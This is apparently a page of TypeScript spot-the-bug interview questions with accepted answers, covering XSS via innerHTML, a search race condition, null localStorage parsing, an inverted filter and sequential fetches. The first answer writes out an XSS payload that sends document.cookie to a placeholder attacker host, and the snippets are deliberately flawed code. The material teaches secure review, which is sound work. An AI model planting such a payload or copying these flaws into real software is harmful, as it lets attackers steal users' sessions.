TypeScript code review interview questions

Question 1

renderComment() displays user comments under a post. What can an attacker do? interface Comment { author: string; body: string; } export function renderComment(list: HTMLElement, comment: Comment): void { const item = document.createElement("li"); item.innerHTML = `${comment.author}: ${comment.body}`; list.appendChild(item); }

Accepted Answer

Line 8 (Security / injection): User text is parsed as HTML. A comment like `<img src=x onerror="fetch('//evil.example?c='+document.cookie)">` runs script in every reader's browser (stored XSS), which can steal sessions or act as the user.

Question 2

onQueryChange() runs on every keystroke. Users sometimes see results for "re" after typing "react". Why?

let results: string[] = [];

export async function onQueryChange(query: string, render: (r: string[]) => void) {
  const res = await fetch(`/api/search?q=${encodeURIComponent(query)}`);
  const data: { results: string[] } = await res.json();
  results = data.results;
  render(results);
}

Accepted Answer

Line 6 (Race condition): Requests can finish out of order. If the slow response for "re" arrives after the fast one for "react", it overwrites the newer results. Only the latest request should be allowed to update the UI.

Question 3

loadTheme() runs on page load. It works for returning visitors. What happens on someone's first visit?

interface Prefs {
  theme: "light" | "dark";
}

export function loadTheme(): Prefs["theme"] {
  const prefs: Prefs = JSON.parse(localStorage.getItem("prefs")!);
  return prefs.theme;
}

Accepted Answer

Line 6 (Null / undefined handling): On a first visit getItem returns null. The `!` hides that from TypeScript, `JSON.parse(null)` returns null, and `prefs.theme` throws a TypeError that breaks page load.

Question 4

The "To do" tab shows the result of pendingTasks(). Users say it lists the tasks they already finished. Find the bug.

interface Task {
  id: string;
  title: string;
  done: boolean;
}

export function pendingTasks(tasks: Task[]): Task[] {
  return tasks.filter((task) => task.done);
}

Accepted Answer

Line 8 (Logic inverted): filter keeps the items for which the callback returns true, so this keeps the completed tasks. Pending tasks are the ones where done is false.

Question 5

loadAvatars() fetches 50 independent user profiles for a team page. It takes ~10 seconds. Why?

export async function loadAvatars(userIds: string[]): Promise<string[]> {
  const avatars: string[] = [];
  for (const id of userIds) {
    const res = await fetch(`/api/users/${id}`);
    const user: { avatarUrl: string } = await res.json();
    avatars.push(user.avatarUrl);
  }
  return avatars;
}

Accepted Answer

Line 4 (Performance trap): Each request waits for the previous one to finish, so total time is the sum of all latencies (50 × ~200ms). The requests are independent and can run concurrently.

TypeScript code review interview questions

TypeScript gotchas interviewers love

5 TypeScript spot-the-bug questions

Rendering comments with innerHTML

Search-as-you-type results

Reading preferences from localStorage

Pending tasks filter

Awaiting requests one by one

Attempts distribution